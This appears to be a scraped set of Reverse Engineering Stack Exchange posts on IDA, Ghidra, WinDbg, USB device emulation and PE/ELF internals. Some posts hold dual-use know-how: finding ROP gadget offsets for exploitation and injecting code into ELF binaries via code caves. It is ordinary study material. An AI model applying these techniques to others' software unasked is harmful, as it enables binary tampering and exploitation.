<p>I'm decompiling some Direct3D code that makes a lot of indirect calls to __stdcall functions.</p> <p>For example:</p> <pre><code>call dword ptr [edx+0xC8h] </code></pre> <p>which is really:</p> <pre><code>pD3DDevice-&gt;SetRenderState(); </code></pre> <p>IDA doesn't correctly guess the stack pointer change of these calls in every case, so I have to go through and Alt+K the correct SP value manually.</p> <p>But after doing this I start running into a problem where one side of a branch will have the wrong SP value</p> <p><a href="https://i.stack.imgur.com/x9AkJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/x9AkJ.png" alt="enter image description here" /></a></p> <p>I can Alt-K the first instruction with the erroneous SP value but this only takes effect on the next instruction.</p> <p><strong>Edit:</strong></p> <p><a href="https://i.stack.imgur.com/uj67J.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uj67J.png" alt="enter image description here" /></a></p>
IDA stack depth differences when branching
|ida|stack|
<p>Create a text file with content below and save as .REG file. Open .REG file to import into registry. Change the IDA cmd line as appropriate for your system. For more details refer to Microsoft's documentation on <a href="https://docs.microsoft.com/en-us/windows/win32/shell/context-menu" rel="nofollow noreferrer">Context Menus</a></p> <pre><code>Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\*\shell\IDA 32] &quot;Icon&quot;=&quot;\&quot;C:\\Program Files\\IDA Pro 7.5\\ida.exe\&quot;&quot; [HKEY_CLASSES_ROOT\*\shell\IDA 32\Command] @=&quot;\&quot;C:\\Program Files\\IDA Pro 7.5\\ida.exe\&quot; \&quot;%1\&quot; &quot; [HKEY_CLASSES_ROOT\*\shell\IDA 64] &quot;Icon&quot;=&quot;\&quot;C:\\Program Files\\IDA Pro 7.5\\ida64.exe\&quot;&quot; [HKEY_CLASSES_ROOT\*\shell\IDA 64\Command] @=&quot;\&quot;C:\\Program Files\\IDA Pro 7.5\\ida64.exe\&quot; \&quot;%1\&quot; &quot; </code></pre>
26307
2020-11-15T13:18:34.943
<p>So I was wondering if is there a way for IDA to appears in the righ click options of an executable.</p> <p><a href="https://i.stack.imgur.com/OC5ZE.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OC5ZE.png" alt="enter image description here" /></a></p> <p>As you can see, <code>Debug with x64dbg</code> was built by itself, IDA 32 didn't do, so I just changed it in the Registry Editor, which it works, but it doesn't show the IDA's icon, also I'm pretty sure this not the right way since I saw some people with this option just like x64dbg is doing it.</p> <p>Thanks!</p>
Debug with IDA Pro right click option
|ida|x64dbg|
<p>As I understand it the Multiprocessor Specification is the only Intel document that references this, with the following info</p> <blockquote> <p>PIC Mode is software compatible with the PC/AT because it actually employs the same hardware interrupt configuration. As Figure 3-2 illustrates, the hardware for PIC Mode bypasses the APIC components by using an interrupt mode configuration register (IMCR). This register controls whether the interrupt signals that reach the BSP come from the master PIC or from the local APIC. Before entering Symmetric I/O Mode, either the BIOS or the operating system must switch out of PIC Mode by changing the IMCR. <a href="https://i.stack.imgur.com/qiV74.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qiV74.png" alt="enter image description here" /></a> The IMCR is supported by two read/writable or write-only I/O ports, 22h and 23h, which receive address and data respectively. To access the IMCR, write a value of 70h to I/O port 22h, which selects the IMCR. Then write the data to I/O port 23h. The power-on default value is zero, which connects the NMI and 8259 INTR lines directly to the BSP. Writing a value of 01h forces the NMI and 8259 INTR signals to pass through the APIC. The IMCR must be cleared after a system-wide INIT or RESET to enable the PIC Mode as default. (Refer to Section 3.7 for information on the INIT and RESET signals.) The IMCR is optional if PIC Mode is not implemented. The IMCRP bit of the MP feature information bytes (refer to Chapter 4) enables the operating system to detect whether the IMCR is implemented.</p> </blockquote> <p>Example use case can be found in linux kernel within APIC.c:</p> <p><a href="https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c" rel="nofollow noreferrer">https://github.com/torvalds/linux/blob/master/arch/x86/kernel/apic/apic.c</a></p> <p>However these documents supersede the Multiprocessor specification and don't reference IMCR:</p> <p><a href="https://www.intel.com/content/dam/www/public/us/en/documents/articles/acpi-config-power-interface-spec.pdf" rel="nofollow noreferrer">ACPI Config Power Interface Spec</a></p> <p><a href="https://software.intel.com/contennotet/www/us/en/develop/download/intel-64-architecture-x2apic-specification.html" rel="nofollow noreferrer">Intel 64 Architecture x2APIC Specification</a></p>
26308
2020-11-15T13:31:49.217
<p>I'm currently programming a x64 kernel and need to set the Apic mode to symmetric I/O Mode. The Multiprocessor Specification from Intel at Page 31 says that to enable this mode you have to write 01H to the IMCR memory register. The problem is that this memory register (has to be accessed over outb/inb) is absolutely nowhere documented. Can someone point me to the official spec where it's written down?</p>
Where is the IMCR defined in the docs?
|x86|kernel|documentation|
<p>Two options:</p> <ol> <li><p>Include the targets of the pointers into the snapshot (can be done by enabling the target segment’s loader flag in segment properties, or via β€œAnalyze module” from the Modules context menu)</p> </li> <li><p>Rename the import table pointers using the pointed-to names (e.g. using renimp.idc or similar script)</p> </li> </ol>
26312
2020-11-16T08:59:32.317
<p>When i take memory snapshot with IDA to try to analyze it statically later, the problem is there are a lot of symbols that get lost when i dump the memory, how can i solve this?</p> <p>for example this is the dump before :</p> <pre><code>rootkit:84582008 40 DE A4 82 dd offset nt_memcpy rootkit:8458200C C1 BA C7 82 dd offset nt_RtlFreeUnicodeString rootkit:84582010 10 AF AC 82 dd offset nt_RtlEqualString rootkit:84582014 20 D5 A4 82 dd offset nt_RtlInitAnsiString rootkit:84582018 BA 6A B3 82 dd offset nt_ExFreePoolWithTag rootkit:8458201C 9B D2 C7 82 dd offset nt_RtlUnicodeStringToAnsiString rootkit:84582020 05 60 B3 82 dd offset nt_ExAllocatePoolWithTag rootkit:84582024 58 12 A5 82 dd offset nt_ZwQuerySystemInformation rootkit:84582028 C0 E4 A4 82 dd offset nt_memset rootkit:8458202C DC 01 A5 82 dd offset nt_ZwClose rootkit:84582030 1C 03 A5 82 dd offset nt_ZwCreateFile rootkit:84582034 35 9A C3 82 dd offset nt_RtlEqualUnicodeString rootkit:84582038 6F DF C7 82 dd offset nt_ObQueryNameString rootkit:8458203C 83 D2 A8 82 dd offset nt_ObfDereferenceObjec </code></pre> <p>after i take the memory snapshot and detach from kernel :</p> <pre><code>rootkit:84582000 dd 82A851FEh rootkit:84582004 dd 82A84D9Bh rootkit:84582008 dd 82A4DE40h rootkit:8458200C dd 82C7BAC1h rootkit:84582010 dd 82ACAF10h rootkit:84582014 dd 82A4D520h rootkit:84582018 dd 82B36ABAh rootkit:8458201C dd 82C7D29Bh rootkit:84582020 dd 82B36005h rootkit:84582024 dd 82A51258h rootkit:84582028 dd 82A4E4C0h rootkit:8458202C dd 82A501DCh rootkit:84582030 dd 82A5031Ch rootkit:84582034 dd 82C39A35h rootkit:84582038 dd 82C7DF6Fh rootkit:8458203C dd 82A8D283h </code></pre>
How to keep symbols when taking memory snapshot with IDA?
|ida|windows|unpacking|dumping|kernel|
<p>I don't think you can do that directly in IDA, although Hex-Rays does it. For example, in the PE header <code>IMAGE_DATA_DIRECTORY DataDirectory[16]</code> array, the names of the individual elements are specified by <code>#define</code> constants such as <code>IMAGE_DIRECTORY_ENTRY_EXPORT</code>. Here we see an access to the element at index <code>0</code>:</p> <p><a href="https://i.stack.imgur.com/GmxJ0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GmxJ0.png" alt="Access to pe-&gt;DataDirectory 0" /></a></p> <p>It would be nice to see the symbolic name for the enumeration element <code>0</code>. We can simply place our cursor on the <code>0</code>, press <code>m</code>, and change the constant into an enumeration element the same way we would do in the disassembly listing:</p> <p><a href="https://i.stack.imgur.com/Iqlrz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Iqlrz.png" alt="Changing the index to an enumeration element" /></a></p> <p>There is a workaround for your particular example in the disassembly listing. You can declare a new structure type -- say, <code>DRIVER_CALLBACK_FUNCTIONS</code>, like so:</p> <pre><code>struct DRIVER_CALLBACK_FUNCTIONS { int (__stdcall *IRP_MJ_CREATE)(_DEVICE_OBJECT *, _IRP *); int (__stdcall *IRP_MJ_CREATE_NAMED_PIPE)(_DEVICE_OBJECT *, _IRP *); int (__stdcall *IRP_MJ_CLOSE)(_DEVICE_OBJECT *, _IRP *); // ... all 28 functions ... }; </code></pre> <p>And then modify the definition of <code>_DRIVER_OBJECT</code>: change the definition of the <code>MajorFunction[28]</code> array to <code>DRIVER_CALLBACK_FUNCTIONS</code> instead.</p>
26323
2020-11-17T19:20:08.247
<p>How can I tell IDA what the indexes of an array in a struct are? I think I need to tell it to use an enum, but I'm not sure how. I'm working on Practical Reverse Engineering and following the x86 Rootkit walkthrough in Chapter 3.</p> <p>It walks through reversing the setup of the DriverObject function pointers here:</p> <pre><code>01: .text:00010643 mov ecx, [ebp+DriverObject] 02: .text:00010646 mov dword ptr [ecx+38h], offset sub_10300 03: .text:0001064D mov edx, [ebp+DriverObject] 04: .text:00010650 mov dword ptr [edx+40h], offset sub_10300 05: .text:00010657 mov eax, [ebp+DriverObject] 06: .text:0001065A mov dword ptr [eax+70h], offset sub_10300 07: .text:00010661 mov ecx, [ebp+DriverObject] 08: .text:00010664 mov dword ptr [ecx+34h], offset sub_10580 </code></pre> <p>Following along, I have a Driver_Object struct defined, and IDA picks up the MajorFunction offset</p> <pre><code>.text:00010643 mov ecx, [ebp+DriverObject] .text:00010646 mov [ecx+_DRIVER_OBJECT.MajorFunction], offset sub_10300 .text:0001064D mov edx, [ebp+DriverObject] .text:00010650 mov [edx+(_DRIVER_OBJECT.MajorFunction+8)], offset sub_10300 .text:00010657 mov eax, [ebp+DriverObject] .text:0001065A mov [eax+(_DRIVER_OBJECT.MajorFunction+38h)], offset sub_10300 .text:00010661 mov ecx, [ebp+DriverObject] .text:00010664 mov [ecx+_DRIVER_OBJECT.DriverUnload], offset driverUnload </code></pre> <p>MajorFunction is defined as an array, but I'd like to get IDA to display what those offsets represent. wdm.h defines the offsets as follows:</p> <pre><code>#define IRP_MJ_CREATE 0x00 #define IRP_MJ_CREATE_NAMED_PIPE 0x01 #define IRP_MJ_CLOSE 0x02 ... </code></pre> <p>Basically, I'd like to see something like the following in the disassembly:</p> <pre><code>.text:0001064D mov edx, [ebp+DriverObject] .text:00010650 mov [edx+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_CLOSE)], offset sub_10300 .text:00010657 mov eax, [ebp+DriverObject] .text:0001065A mov [eax+(_DRIVER_OBJECT.MajorFunction+IRP_MJ_DEVICE_CONTROL)], offset sub_10300 </code></pre> <p>IDA has the Driver Object defined as follows:</p> <pre><code>struct __declspec(align(4)) _DRIVER_OBJECT { ... void (__stdcall *DriverUnload)(_DRIVER_OBJECT *); int (__stdcall *MajorFunction[28])(_DEVICE_OBJECT *, _IRP *); }; </code></pre>
IDA Set struct array to use enum values
|ida|
<p>ropper bases the binary at address 0. This can be changed using the -I flag. This value of the base can be picked up from Ghidra to reflect in ropper's output</p> <p>In Ghidra go to Window &gt; Memory Map. <a href="https://i.stack.imgur.com/29WEa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/29WEa.png" alt="enter image description here" /></a></p> <p>In this case libc is loaded at base address 0x100000. From ropper</p> <pre><code>$ ropper -I 0x100000 --nocolor --file ./libc.so.6 </code></pre> <p>Now the output can be directly used with G to go to that address.</p> <pre><code>0x0000000000197853: pop r13; pop r14; jmp rax; </code></pre> <p>Additionally if you can't run ropper again for some reason you can try this with your old output.</p> <pre><code>0x0000000000097853: pop r13; pop r14; jmp rax; </code></pre> <p>Add base to this address</p> <pre><code>hex(0x100000+0x0000000000097853) 0x197853 </code></pre> <p>Press G and paste the above address</p> <pre><code> 00197848 48 83 c4 10 ADD RSP,0x10 0019784c 4c 89 ee MOV RSI,R13 0019784f 5b POP RBX 00197850 5d POP RBP 00197851 41 5c POP R12 00197853 41 5d POP R13 00197855 41 5e POP R14 00197857 ff e0 JMP RAX </code></pre> <p>One thing to notice is that ropper can produce rop gadgets from addresses which are not known to ghidra as instruction boundaries. For example</p> <pre><code>018258c30000 add dword ptr[edx+0xc358], eax </code></pre> <p>can be used by ropper as</p> <pre><code>58c3 pop eax; ret </code></pre> <p>because <code>58c3</code> is still a valid pair of instructions</p>
26327
2020-11-18T02:28:47.480
<p>How is the offsets returned from ROP gadget finders related to the files they come from? For example, if the ROP gadget finder says that a certain gadget is at offset <code>0x0002ae74</code> in <code>libuClibc.0.9.3.so</code> where should I go to look for the gadget in <code>libuClibc.0.9.3.so</code>?</p>
Finding Ropper/ROPgadget offsets in Ghidra disassembly
|disassembly|assembly|ghidra|exploit|
<p>A few things:</p> <ol> <li><p>It is best if you report Recaf issues on the <a href="https://github.com/Col-E/Recaf" rel="nofollow noreferrer">Recaf github page</a>, not a 3rd party platform</p> </li> <li><p>You <strong>can still edit</strong> but the recompilation feature is disabled due to the inability to find the local Java compiler. Most of Recaf is based on the assembler, which you can find documentation on here: <a href="https://www.coley.software/Recaf/doc-edit-modes.html" rel="nofollow noreferrer">&quot;Class editing modes&quot;</a></p> </li> <li><p>This problem may still persist after a basic installation of Java 8 because the required platform tools are not added to the classpath. There is documentation on what files are required, where they are, and where you need to place them here: <a href="https://www.coley.software/Recaf/doc-setup-8.html" rel="nofollow noreferrer">&quot;Java 8 setup&quot;</a></p> </li> <li><p>Alternatively you can update to Java 11 or higher where none of this configuration is necessary.</p> </li> </ol>
26333
2020-11-18T16:00:16.260
<p>I've download recaf jar file and install JDK 8. When I execute it/start it, it all works fine with <code>java -jar recaf-2.12.0-J8-jar-with-dependencies.jar</code>. I open a class file also no problem. The issue is when I try to edit it is disabled saying:</p> <pre><code>// =============================================== // // Recompile disabled. Please run Recaf with a JDK // // =============================================== // // Decompiled with: CFR 0.150 ... </code></pre> <p>Any idea why and how to solve this issue? This is my first time using recaf as well so it might be a newbie question.</p>
Recaf: Recompile disabled, can't edit
|java|decompiler|byte-code|
<p>On Windows <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview" rel="nofollow noreferrer">Travel Debugging (TTD)</a> is a perfect use case for this scenario.</p> <p>To use TTD, you need to run the debugger elevated. Install <a href="https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86?activetab=pivot:overviewtab" rel="nofollow noreferrer">WinDbg Preview</a> from Windows 10 store using an account that has administrator privileges and use that account when recording in the debugger. In order to run the debugger elevated, select and hold (or right-click) the WinDbg Preview icon in the Start menu and then select More &gt; Run as Administrator.</p> <p>If you need to run on system without Windows 10 I have used it on Windows 8.1/Server 2012 and later by first installing on windows 10 then copying the installed files to another system. As a normal administrator account doesn't have access to the files I copy them running as SYSTEM Account using <strong><a href="http://live.sysinternals.com/psexec.exe" rel="nofollow noreferrer">psexec</a> -sid cmd.exe</strong> then copy to a folder with command such as <code>robocopy &quot;C:\program files\WindowsApps\Microsoft.WinDbg_1.2007.6001.0_neutral__8wekyb3d8bbwe&quot; &quot;C\windbgx&quot; * /s</code></p> <p>To take trace:</p> <ol> <li>In WinDbg Preview, select File &gt; Start debugging &gt; Launch executable (advanced).</li> <li>Enter the path to the user mode executable that you wish to record or select Browse to navigate to the executable.</li> <li>Check the Record process with Time Travel Debugging box to record a trace when the executable is launched.</li> </ol> <p>You can set breakpoints, create timelines of exceptions/breakpoints/memory access, trace instructions forwards/backwards, and inspect memory/registry/disassembly at any point in execution.</p> <p>If you copied the files out of WindowsApps folder you can also run it via command line in different ways. The ttd.exe is used in amd64\ttd and x86\ttd folders.</p> <p>The following command line options are available.</p> <pre><code>Usage: ttd [options] [mode] [PID | program [&lt;arguments&gt;] | &lt;package&gt; &lt;app&gt;]] Options: -? Display this help. -help Display this help. -ring Trace to a ring buffer. -ringMode &lt;mode&gt; Specify how to record a ring trace. Possible modes: file - The ring will be in a file on disk. This is the default. mappedFile - The ring will be in a file, but the entire file will be fully mapped in memory. This reduces the I/O overhead, but the entire file is mapped in contiguous address space, which may add significant memory pressure to 32-bit processes. -maxFile &lt;size&gt; Maximum size of the trace file in MB. When in full trace mode the default is 1024GB and the minimum value is 1MB. When in ring buffer mode the default is 2048MB, the minimum value is 1MB, and the maximum value is 32768MB. The default for in-memory ring on 32-bit processes is 256MB. -out &lt;file&gt; Specify a trace file name or a directory. If a file, the tracer will replace the first instance of '%' with a version number. By default the executable's base name with a version number is used to prefix the trace file name. -children Trace through family of child processes. Modes: -plm To specify a PLM app/package for tracing from launch or to launch that app. These PLM apps can only be setup for tracing if specifying the plm option. See -launch for the parameters required. The default name for a single app package is 'app' and must be included. -launch Launch and trace the program (default). This is the only mode that uses the program arguments. For -plm apps it must be specified, and you must include the package and the app (-launch &lt;package&gt; &lt;app&gt;). Note: This must be the last option in the command-line, followed by the program + arguments or the package + app -attach &lt;PID&gt; Attach to a running process specified by process ID. Control: -stop Stop tracing the process specified (name, PID or &quot;all&quot;). </code></pre> <p>Some walkthroughs of what can be achieved with TTD are here:</p> <p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-walkthrough" rel="nofollow noreferrer">Time Travel Debugging - Sample App Walkthrough</a></p> <p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-object-model" rel="nofollow noreferrer">Introduction to Time Travel Debugging Object Model</a></p> <p><a href="https://chentiangemalc.wordpress.com/2020/04/25/identifying-position-of-user-interactions-within-a-windbg-time-travel-trace/" rel="nofollow noreferrer">Identifying Position of User Interactions within a WinDbg Time Travel Trace</a></p> <p>If using Visual Studio you can also use <a href="https://docs.microsoft.com/en-us/visualstudio/debugger/intellitrace" rel="nofollow noreferrer">IntelliTrace feature</a> to record a debugging trace.</p>
26334
2020-11-18T18:36:25.903
<p>I'm trying to trace a function, but unfortunately that function is huge and has lots and lots of jumps to other locations, making it almost impossible to trace for humans. I know the entry point and the exit point of the function. I would like a way to be able to run the function and see all of the opcodes that were executed afterwards so I can manually recreate the function later in c++. It will also help me find exactly where the function is crashing (since it would be last executed code) when it crashes. I've tried the tracing method in x64dbg but that would not record opcodes that I didn't manually walk over.</p>
x64dbg or alternative: Run to selection while storing all ran opcodes
|x64dbg|x86-64|assembly|
<p>Found it: <a href="https://github.com/nygard/class-dump" rel="nofollow noreferrer">https://github.com/nygard/class-dump</a></p> <blockquote> <p>class-dump is a command-line utility for examining the Objective-C segment of Mach-O files. It generates declarations for the classes, categories and protocols. This is the same information provided by using 'otool -ov', but presented as normal Objective-C declarations</p> </blockquote> <p>It works for PrivilegedHelperTools mostly, but not for normal applications.</p>
26337
2020-11-18T02:27:08.503
<p>I'm reading <a href="https://insinuator.net/2020/11/forklift-lpe/" rel="nofollow noreferrer">this article</a>, and it says:</p> <pre><code>The following functions are exposed over XPC to the caller: @protocol _TtP4main21ForkLiftHelperProtcol_ - (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3; - (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4; ... </code></pre> <p>How can one dump all the protocols and its methods?</p>
Dumping available XPC interface and methods
|ios|
<p>My first approach would be, to collect traces from working system:</p> <p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/usbcon/usb-event-tracing-for-windows" rel="nofollow noreferrer">USB Event Tracing for Windows</a></p> <p>If from this information cannot work out what is going on a software protocol analyzer, such as these:</p> <p><a href="http://USBTrace%20:%20USB%20Protocol%20Analyzer%20Software%20for%20Windows" rel="nofollow noreferrer">http://www.sysnucleus.com/</a></p> <p><a href="https://www.usblyzer.com/" rel="nofollow noreferrer">https://www.usblyzer.com/</a></p> <p><a href="https://wiki.wireshark.org/CaptureSetup/USB" rel="nofollow noreferrer">https://wiki.wireshark.org/CaptureSetup/USB</a></p> <p>Sometimes I have had different results with a different tool so it can be worth trying different software protocol analyzers for your scenario. If this is not sufficient, in some cases it is necessary to finally resort to a hardware USB protocol analyzer. These can sit between the USB port and the device and capture everything without relying on software within the PC, helpful if the driver is explicitly trying to block/bypass software protocol analyzer.</p> <p>I'm not familiar with this particular device but in some cases the detection is more complicated then simply detected particular type of device connected, in some case the USB device may contain information that the application would not be able to run unless that data was available.</p> <p>Depending on your requirements sometimes a solution such as <a href="https://www.donglify.net/" rel="nofollow noreferrer">donglify</a> which allows sharing USB dongles over a network can help meet needs.</p> <p>For complex scenarios a complete dongle emulation is required. You may find examples of other work in this area searching internet for information on copying / emulating USB dongles, however there is not one generic solution for this.</p> <p>If the actual working device is not available then I would use a combination of the following tools to analyze the program that is not launching without the hardware:</p> <p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon" rel="nofollow noreferrer">Process Monitor</a> With this tool easy to observe if application is looking for specific files or registry keys. <a href="http://www.rohitab.com/apimonitor" rel="nofollow noreferrer">API Monitor</a> Can analyze the app at the Windows API level. For example simply monitoring the C++ Runtime &quot;Strings&quot; operations may determine what it is looking for exactly.</p> <p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-record" rel="nofollow noreferrer">WinDbg Time Travel Debugging</a></p> <p>Reverse engineering software such as <a href="https://www.hex-rays.com/products/ida/" rel="nofollow noreferrer">IDA Pro</a> / <a href="https://ghidra-sre.org/" rel="nofollow noreferrer">Ghidra</a></p>
26358
2020-11-24T13:15:46.463
<p>I rarely run Windows, but have some Windows software I'd like to take a look at. This doesn't require a security &quot;dongle&quot;, but won't start without the presence of a particular USB-connected peripheral about which virtually nothing is known.</p> <p>The software I have is Brother PE-Design Plus, which prepares .pes files for their embroidery machines. The hardware is described as &quot;04f9:2100 Brother Industries, Ltd Card Reader Writer&quot;.</p> <p>This is not at all &quot;mission critical&quot; for me since the machine I'm looking at can be configured using a USB &quot;thumb drive&quot;, but older machines /have/ to be programmed via one of these writers.</p> <p>The writers are scarce and expensive. Older variants for the same type of card were connected to a serial port, but the software I have appears to be USB-specific. The card has a chip under an epoxy blob, which is suspected to be a 512Kbyte Flash device.</p> <p>After installation, the Brother software includes a file CardIO.dll, which encodes the correct USB vid:pid numbers and has what looks like card-related debugging messages and mangled C++ entry point names including ?ChkCardWriterConnected@CCardIO@@QAE?AW4CIOError@@HPAEPAH@Z</p> <p>There is nothing in that file which indicates what type of device is expected (i.e. USB serial vs HID etc.) but my knowledge of the inside of Windows drivers is limited.</p> <p>I was thinking that I might be able to program a Teensy (I think I've got a 3.5) to emulate the various USB device types and see if I could at least work out what sort of device type the Brother software was expecting. Otherwise I'm aware of e.g. <a href="https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/" rel="nofollow noreferrer">https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/</a> and the Facedancer project, however I think that most things like this are more oriented to analysing available hardware rather than something unseen.</p> <p>Wireshark on Windows shows nothing. I've not yet tried setting up Windows under Qemu (etc.) and seeing whether I can track anything at the hardware level, but I suspect that detection is based on a hotplug event which tells Windows that it is to respond positively to a presence query.</p> <p>Any thoughts would be appreciated.</p> <p>A few days later: It looks as though having any USB device with the correct vid:pid doublet is sufficient to get the Brother card reader driver loaded, but not to get the app running (and nothing useful shows up in Wireshark). I've been using a Teensy 3.5 set up as a rawhid device, I'm not sure whether the type of device matters since I suspect I'm up against OS caching issues which muddy the water.</p>
Unknown (and unowned) USB device
|usb|
<p>The section name can be anything, the OS loader only uses section flags to set up permissions when mapping the file into memory. For example, Delphi compiler uses CODE, and various packers use custom names (UPX00 etc.) or even garbage.</p> <p>AFAIK the only section name that is somewhat enforced is <code>.rsrc</code> - I think Explorer may not show the file icon if resources section is renamed.</p>
26359
2020-11-24T15:14:44.347
<p>Is it safe to assume that, in the general case, the name of the section containing the user code (not the compiler generated code) is <code>.text</code>? I spot-checked several ARM, x86 and MIPS binaries (PE and ELF) and it seems to be the case.</p> <p>I suppose the compiler/linker can be configured to chose a different name. In which cases would one want to change it? Are there known examples (CPU arch, compiler, etc.) where there is no <code>.text</code> section? What are other frequently used names? Can user code be put in other sections than the <code>.text</code> section?</p> <p>Or is the name <code>.text</code> required to be a valid PE / ELF and thus always chosen? The <a href="https://refspecs.linuxbase.org/elf/elf.pdf" rel="nofollow noreferrer">ELF specification</a> for example mentions the name <code>.text</code> several times, so does the <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format" rel="nofollow noreferrer">PE specification</a>.</p>
Name other than ".text" for the main code section
|pe|elf|binary-format|compilers|
<p>When executing ELF files, the OS loader does not care about sections but only segments (aka program headers). You need to ensure your code belongs to an executable segment.</p> <blockquote> <p>As can be seen, section .fini starts at 11e8 and has the size of d. The next section - .rodata starts at 2000. Does that mean that the space between 11e8 + d and 2000 does not belong to any section? That segment also ends at 11F5, which is the end of last section belonging to it - .fini.</p> </blockquote> <p>Yes, the space between 11F5 and 2000 is a kind of &quot;no man's land&quot;. In theory, the bytes there would not be present in the memory. However, in practice, the memory protections and mappings work on a page granularity (0x1000) so these bytes <em>are</em> mapped into memory and made executable so your patch works. To make everything &quot;legit&quot; it may be better to extend the segment length so it extends up to 2000.</p>
26386
2020-11-28T12:04:37.420
<p>I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would.</p> <p>To actually execute code in the code cave I tried two different approaches, both of which result in sigsegv.</p> <p>First one was changing entry point to the start of the code cave. The second one was &quot;stealing&quot; some of the first instructions from the original code and write jump to my code cave there and then after executing my injected code I would first execute stolen instructions and then jump to the instruction after the last stolen one in the original program.</p> <p>I am also changing the access flags for the section, in which code cave resides.</p> <p>Here are some screenshots of debugging the program in gdb:</p> <p><a href="https://i.stack.imgur.com/IHC5I.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IHC5I.png" alt="Instructions at entry point - 0x555555556156 is the address of code cave" /></a></p> <p><a href="https://i.stack.imgur.com/wpJzp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wpJzp.png" alt="Instructions in the code cave - executing stolen ones and jumping back" /></a></p> <p><a href="https://i.stack.imgur.com/KikfO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/KikfO.png" alt="Executing the code" /></a></p> <p>And here are the flags for the section the code cave is in:</p> <p><code>[19] 0x555555556058-&gt;0x555555556160 at 0x00002058: .eh_frame ALLOC LOAD READONLY CODE HAS_CONTENTS</code></p> <p>This is the Valgrind output.</p> <p><a href="https://i.stack.imgur.com/I6P0g.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/I6P0g.png" alt="enter image description here" /></a></p> <p>So is there a way to actually allow the execution of code in this section.</p> <p>I also thought about adding new section to the binary and writing my code there. If someone had experience in doing so, I would appreciate the info.</p> <p><strong>EDIT:</strong> I think I know what my mistake is - I set the executable flag for the section, but the segment it's in isn't executable. But it also seems like the code cave I found doesn't belong to any section, since the start of the code cave is actually the end of one section and the end of the code cave is the start of another section. And there are no other sections in between.</p> <p><strong>EDIT 2:</strong> I changed the code cave to the one, that is in <code>.fini</code> section, which belongs to executable segment. However I am still confused about the empty space between sections (and segments).</p> <p>Here are the screenshots of the <code>readelf</code> output</p> <pre><code>Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000318 00000318 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.gnu.propert NOTE 0000000000000338 00000338 0000000000000020 0000000000000000 A 0 0 8 [ 3] .note.gnu.build-i NOTE 0000000000000358 00000358 0000000000000024 0000000000000000 A 0 0 4 [ 4] .note.ABI-tag NOTE 000000000000037c 0000037c 0000000000000020 0000000000000000 A 0 0 4 [ 5] .gnu.hash GNU_HASH 00000000000003a0 000003a0 0000000000000024 0000000000000000 A 6 0 8 [ 6] .dynsym DYNSYM 00000000000003c8 000003c8 00000000000000a8 0000000000000018 A 7 1 8 [ 7] .dynstr STRTAB 0000000000000470 00000470 0000000000000082 0000000000000000 A 0 0 1 [ 8] .gnu.version VERSYM 00000000000004f2 000004f2 000000000000000e 0000000000000002 A 6 0 2 [ 9] .gnu.version_r VERNEED 0000000000000500 00000500 0000000000000020 0000000000000000 A 7 1 8 [10] .rela.dyn RELA 0000000000000520 00000520 00000000000000c0 0000000000000018 A 6 0 8 [11] .rela.plt RELA 00000000000005e0 000005e0 0000000000000018 0000000000000018 AI 6 24 8 [12] .init PROGBITS 0000000000001000 00001000 000000000000001b 0000000000000000 AX 0 0 4 [13] .plt PROGBITS 0000000000001020 00001020 0000000000000020 0000000000000010 AX 0 0 16 [14] .plt.got PROGBITS 0000000000001040 00001040 0000000000000010 0000000000000010 AX 0 0 16 [15] .plt.sec PROGBITS 0000000000001050 00001050 0000000000000010 0000000000000010 AX 0 0 16 [16] .text PROGBITS 0000000000001060 00001060 0000000000000185 0000000000000000 AX 0 0 16 [17] .fini PROGBITS 00000000000011e8 000011e8 000000000000000d 0000000000000000 AX 0 0 4 [18] .rodata PROGBITS 0000000000002000 00002000 0000000000000012 0000000000000000 A 0 0 4 [19] .eh_frame_hdr PROGBITS 0000000000002014 00002014 0000000000000044 0000000000000000 A 0 0 4 [20] .eh_frame PROGBITS 0000000000002058 00002058 0000000000000108 0000000000000000 A 0 0 8 [21] .init_array INIT_ARRAY 0000000000003db8 00002db8 0000000000000008 0000000000000008 WA 0 0 8 [22] .fini_array FINI_ARRAY 0000000000003dc0 00002dc0 0000000000000008 0000000000000008 WA 0 0 8 [23] .dynamic DYNAMIC 0000000000003dc8 00002dc8 00000000000001f0 0000000000000010 WA 7 0 8 [24] .got PROGBITS 0000000000003fb8 00002fb8 0000000000000048 0000000000000008 WA 0 0 8 [25] .data PROGBITS 0000000000004000 00003000 0000000000000010 0000000000000000 WA 0 0 8 [26] .bss NOBITS 0000000000004010 00003010 0000000000000008 0000000000000000 WA 